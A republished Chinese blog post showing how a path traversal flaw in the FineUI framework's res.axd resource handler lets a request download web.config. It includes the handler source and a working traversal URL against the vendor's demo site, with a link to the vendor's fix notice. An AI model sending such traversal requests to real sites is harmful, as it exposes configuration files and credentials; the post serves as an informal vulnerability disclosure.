ASP.NET网站入侵第三波(fineui系统漏洞,可导致被拖库)

news/2024/5/21 15:25:39/文章来源:https://blog.csdn.net/weixin_34194379/article/details/94231273

注:屏蔽本漏洞的紧急通知:http://fineui.com/bbs/forum.php?mod=viewthread&tid=7863

 

本人小学文化,文采不好,写的不好请各位多多包含,

    最近笔者喜欢研究一些代码安全方面的问题,前些日子研究了下力软的框架,发现代码安全方面做的还是不足的,今天偶尔的机会接触了下fineui,从最开始的注入开始,都没有什么突破,

最好就想到列别的排序,从列别排序注入,弄了好久,发现一直没注入成功也没有报错,我就很是奇怪,然后看了下fineui的开源版,看了代码,发现原来他是判断的 ,不是拼接的,难怪注入失败,

本来以为没什么办法了,然后查看页面源码,发现一个引用引起了我的注意:

这个地址,于是去看了下他的源码

using System;
using System.Collections.Generic;
using System.Text;
using System.Web;
using System.Reflection;
using System.IO;
using System.Drawing.Imaging;namespace FineUI
{/// <summary>/// 资源处理程序/// </summary>public class ResourceHandler : IHttpHandler{/// <summary>/// 处理资源的请求/// </summary>/// <param name="context">Http请求上下文</param>public void ProcessRequest(HttpContext context){string type = String.Empty;string typeValue = String.Empty;string extjsBasePath = GlobalConfig.GetExtjsBasePath();//resName = "FineUI.";if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["icon"])){type = "icon";}//else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["js"]))//{//    type = "js";//    //resName += "js." + typeValue;//}//else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["lang"]))//{//    type = "lang";//    //resName += "js.lang." + typeValue;//}else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["theme"])){// res.axd?theme=default.grid.refresh.giftype = "theme";//resName += "res.theme." + typeValue;
            }//else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["css"]))//{//    type = "css";//    //resName += "res.css." + typeValue;//}else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["img"])){type = "img";//resName += "res.img." + typeValue;
            }else{context.Response.Write("Not supported!");return;}//byte[] binary;switch (type){case "icon":if (!typeValue.EndsWith(".png") && !typeValue.EndsWith(".gif")){typeValue = IconHelper.GetName((Icon)Enum.Parse(typeof(Icon), typeValue));}//resName += "res.icon." + typeValue;string serverPath = String.Format("{0}/{1}", GlobalConfig.GetIconBasePath(), typeValue);context.Response.WriteFile(context.Server.MapPath(serverPath));context.Response.ContentType = "image/" + GetImageFormat(typeValue);break;//case "js"://    context.Response.Write(ResourceHelper.GetResourceContent(resName));//    context.Response.ContentType = "text/javascript";//case "lang"://    context.Response.Write(ResourceHelper.GetResourceContent(resName));//    context.Response.ContentType = "text/javascript";//    break;//case "css"://    context.Response.Write(ResourceHelper.GetResourceContent(resName));//    context.Response.ContentType = "text/css";//    break;case "theme":string themePath = "";string themeImageFormat = "";int lastDotIndex = typeValue.LastIndexOf(".");if (lastDotIndex >= 0){themePath = typeValue.Substring(0, lastDotIndex).Replace('.', '/');themeImageFormat = typeValue.Substring(lastDotIndex + 1);}context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}.{2}", extjsBasePath, themePath, themeImageFormat)));context.Response.ContentType = "image/" + GetImageFormat(typeValue);break;case "img"://binary = ResourceHelper.GetResourceContentAsBinary(resName);//context.Response.OutputStream.Write(binary, 0, binary.Length);//context.Response.ContentType = "image/" + GetImageFormat(resName);
                    context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}", extjsBasePath, typeValue)));context.Response.ContentType = "image/" + GetImageFormat(typeValue);break;}// 缓存一年,只能通过改变 URL 来强制更新缓存context.Response.Cache.SetExpires(DateTime.Now.AddYears(1));context.Response.Cache.SetCacheability(HttpCacheability.Public);}//private void RenderImage(HttpContext context, string resName)//{//    Assembly assembly = Assembly.GetExecutingAssembly();//    using (Stream stream = assembly.GetManifestResourceStream(resName))//    {//        using (System.Drawing.Image image = System.Drawing.Image.FromStream(stream))//        {//            // PNG输出时出现“GDI+ 中发生一般性错误”//            using (MemoryStream ms = new MemoryStream())//            {//                image.Save(ms, image.RawFormat);//                ms.WriteTo(context.Response.OutputStream);//                context.Response.ContentType = "image/" + GetImageFormat(image.RawFormat);//            }//        }//    }//}private string GetImageFormat(string imageName){int lastDotIndex = imageName.LastIndexOf(".");if (lastDotIndex >= 0){return imageName.Substring(lastDotIndex + 1);}return "png";}private string GetImageFormat(ImageFormat format){if (format == ImageFormat.Bmp){return "bmp";}else if (format == ImageFormat.Gif){return "gif";}else if (format == ImageFormat.Jpeg){return "jpeg";}else if (format == ImageFormat.Png){return "png";}else if (format == ImageFormat.Tiff){return "tiff";}else if (format == ImageFormat.Icon){return "icon";}return "gif";}/// <summary>/// 只要请求的 URL 相同,则请求可以重用/// </summary>public bool IsReusable{get{return true;}}}
}

看了下,高兴啊。。太好了,不知道你们看出问题来了没有,

问题代码就在

  case "img"://binary = ResourceHelper.GetResourceContentAsBinary(resName);//context.Response.OutputStream.Write(binary, 0, binary.Length);//context.Response.ContentType = "image/" + GetImageFormat(resName);
                    context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}", extjsBasePath, typeValue)));context.Response.ContentType = "image/" + GetImageFormat(typeValue);break;

大家都应该知道 我们引用js或者css的时候经常会有../ 这样的路径,其实很简单,就是上级目录,

我们就利用这个../  把作者写的/res/images/给去掉  也就是变成路径  

/res/images/../../web.config  

就这样我们就可以拿到web.config了,然后拼成完整的url:http://fineui.com/demo/res.axd?img=../../../../appboxpro/web.config&t=icon  浏览器输入

 

ok web.config就这样被拿下来了,,,当然,web.config都拿下了,其它也就都没什么可说的了,

今天就先到这吧。。。还得写文档,明天演示项目,注定又是一个无眠夜。。。

转载于:https://www.cnblogs.com/dotnet-org-cn/p/5089924.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_715246.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

html网页内容和打印预览不同_分享8款网站开发中最好用的打印页面插件

通常浏览器是通过打印命令来确定需要打印的内容&#xff0c;但它可以在 jQuery 插件打印页面插件的帮助下打印一个特定区域的内容。因此&#xff0c;可以使用这些 jQuery 插件和打印页面给用户在你的网站上所需的接口。1.PrintAreaPrintArea是一个jQuery插件打印指定的页面积。…

python制作一个二位码链接网站_如何用Python搭建股票、期货、数字货币开源本地化量化研究环境? | 零基础入门量化新手指南...

来源 | Fintech独角兽作者 | sniper原文章链接&#xff1a;https://mp.weixin.qq.com/s/0wUNtp6yqXbK6ft6xiL_bw欢迎关注我们&#xff01;0 1 用Python搭建开源本地化的股票量化研究环境所需环境&#xff1a;Anaconda3Alphalens简介&#xff1a;Alphalens 是一款 Python 的工具…

快照速度_网络推广期间发现网站快照更新过慢会影响正常网络推广吗?

针对搜索引擎对网站快照更新的问题之前就有过分析&#xff0c;其实网站快照更新的快慢与网站权重没有直接影响关系&#xff0c;因为蜘蛛爬虫抓取和网站快照更新分属两个不同的概念。如果网站快照更新比较慢很可能是因为网站内部出现问题&#xff0c;建议站长从网站内部寻找更新…

建站须知

什么是域名&#xff1f; 域名是INTERNET上用来寻找网站所用的名字&#xff0c;相当于主机的门牌号码。 网址&#xff1a;http://www.baidu.com 域名&#xff1a;baidu.com 超文本传输协议&#xff1a;http 万维网&#xff1a;www 什么是空间&#xff1f; 空间是我们存放网站文件…

linux宝塔打开目录慢,Linux系统宝塔面板系统盘爆满解决方案 _ 厦门SEO

服务器系统盘爆满解决思路&#xff1a;首先通过“df -h”命令查看整体磁盘使用情况&#xff1b;然后通过“du -ah –max-depth1 /***/”命令不断查看占用空间最大的目录文件夹下的最大文件/文件夹&#xff0c;直到将最大文件/文件夹找出来&#xff01;看看该文件/文件夹是否有用…

html5如何绑定域名,墨涩网 - Coding搭建html静态网站后绑定域名+SSL证书——墨涩网...

Coding 是一个面向开发者的云端开发平台 &#xff0c;目前提供代码托管&#xff0c;运行空间&#xff0c;质量控制&#xff0c;项目管理等功能。此外&#xff0c;还提供社会化协作功能&#xff0c;包含了社交元素&#xff0c;方便开发者进行技术讨论和协作。CODING 支持将您代码…

大型网站性能监测、分析与优化常见问题QA

tanwen110 &#xff08;唐文&#xff09;&#xff0c;曾负责腾讯四大平台之一网络媒体平台的整体运维、运营规划工作&#xff1b;曾任百度T7架构师和百度性能优化TOPIC、百度UAQ、APM平台负责人&#xff1b;畅销书《海量运维、运营规划之道》作者&#xff1b; mmTrix创始人&…

用手机连pc localhost 学习,调试网站

本文详细介绍如何打开pc端口&#xff0c;手机打开进行调试&#xff0c;学习。前提是网站已经在iis部署好了 第一步&#xff0c;打开控制面板 第二步&#xff0c;打开防火墙 高级设置&#xff1a; 添加规则&#xff1a; 选择端口 输入希望打开的端口&#xff1a; 允许连接 下一步…

ubuntu服务器nginx搭建网站,ubuntu 16.04配置nginx服务器实现一个IP一个端口多个站点...

特点&#xff1a;Nginx 可以部署在网络上使用 FastCGI&#xff0c;脚本&#xff0c;SCGI 处理程序&#xff0c;WSGI 应用服务器或 Phusion 乘客模块的动态 HTTP 内容&#xff0c;并可作为软件负载均衡器。Nginx 使用异步事件驱动的方法来处理请求。 Nginx的模块化事件驱动架构可…

网站同时在线人数_如何建设外贸网站?角点科技讲解外贸网站建设小知识

如何建立外贸网站?国内很多用户经常浏览的网站都是我们国内的&#xff0c;很少有人会去浏览国外的网站&#xff0c;因此我们不知道国外的网站是怎么样的&#xff0c;如果想要建设一个外贸网站&#xff0c;应该怎么做呢&#xff1f;下面小编来为大家讲讲如何建立外贸网站的小知…

My-Blog搭建过程:如何让一个网站从零到可以上线访问

作者&#xff1a;13 GItHub&#xff1a;https://github.com/ZHENFENG13 版权声明&#xff1a;本文为原创文章&#xff0c;未经允许不得转载。 文章中的图片被限制访问&#xff0c;可以查看我的这篇文章My-Blog搭建过程&#xff1a;如何让一个网站从零到可以上线访问 文章简述 5…

陈松松:一个视频如何获得不同视频网站的排名秘诀

每个视频&#xff0c;都是你的金牌业务员这是我写的第22篇视频营销原创文章与其搜索十年&#xff0c;不如花一年的时间学习&#xff0c;去赚9年的高薪&#xff01;落地&#xff0c;靠的就是细节&#xff01;不管我们做什么&#xff0c;一旦你深入进去&#xff0c;里面的道道都很…

掌握设计开发维护大型网站的技术之性能

前言在前一篇随笔《大型网站系统架构的演化》中&#xff0c;介绍了大型网站的演化过程&#xff0c;期间穿插了一些技术和手段&#xff0c;我们可以从中看出一个大型网站的轮廓&#xff0c;但想要掌握设计开发维护大型网站的技术&#xff0c;需要我们一步一步去研究实践。所以我…

LinkedIn 推出在线学习门户网站 LinkedIn Learning

LinkedIn 推出在线学习门户网站 LinkedIn Learning 责任编辑&#xff1a;editor006 作者&#xff1a;aiko | 2016-09-24 22:41:46 本文摘自&#xff1a;36kr LinkedIn 宣布推出在线学习门户网站 LinkedIn Learning&#xff0c;该网站整合了 LinkedIn 去年以 15 亿美元在去年收…

SEO页面标题Title的优化

我在一个月前改过页面标题&#xff08;Title&#xff09;&#xff0c;随后表现是&#xff1a;百度网页快照4天不更新&#xff0c;Google正常。而我仅仅是改了两个词组而已。在建博初期&#xff0c;修改Title的最频繁的时期&#xff0c;下面卢松松就我经历的修改Title过程给大家…

细说地方门户网站运营的六大经验

在几年的地方门户网站运营中&#xff0c;总结以下观点与站长朋友们分享。 一、网站好用好看&#xff1a;做好美工细节、优化交互效果&#xff0c;持续改善用户体验 地方门户网站精美的UI设计与良好用户体验&#xff0c;给用户一个好印象。 常言道&#xff1a;筑好巢&#xff0c…

8.1 排序的基本概念(时间复杂度、空间复杂度、稳定性、内部排序、外部排序、可视化网站)

1. 什么是排序&#xff1f;2. 排序算法的应用3. 排序算法的评价指标4. 排序算法的分类5. 知识回顾 1. 什么是排序&#xff1f; 2. 排序算法的应用 3. 排序算法的评价指标 4. 排序算法的分类 5. 知识回顾 学习链接

SEO优化:网站优化的swot介绍分析

开发十年&#xff0c;就只剩下这套Java开发体系了 >>> 著名的竞争战略专家迈克尔.波特提出的竞争理论从产业结构入手对一个企业“可能做的”方面进行了透彻的分析和说明&#xff0c;而能力学派管理学家则运用价值链解构企业的价值创造过程&#xff0c;注重对公司的…

网站开发规范及流程

Web 开发的分散性和交互性&#xff0c;决定了 Web 开发必须遵从一定的开发规范和技术约定&#xff0c;只有每个开发人员都按照一个共同的规范去设计、沟通、开发、测试、部署&#xff0c;才能保证整个开发团队协调一致的工作&#xff0c;从而提高开发工作效率&#xff0c;提升工…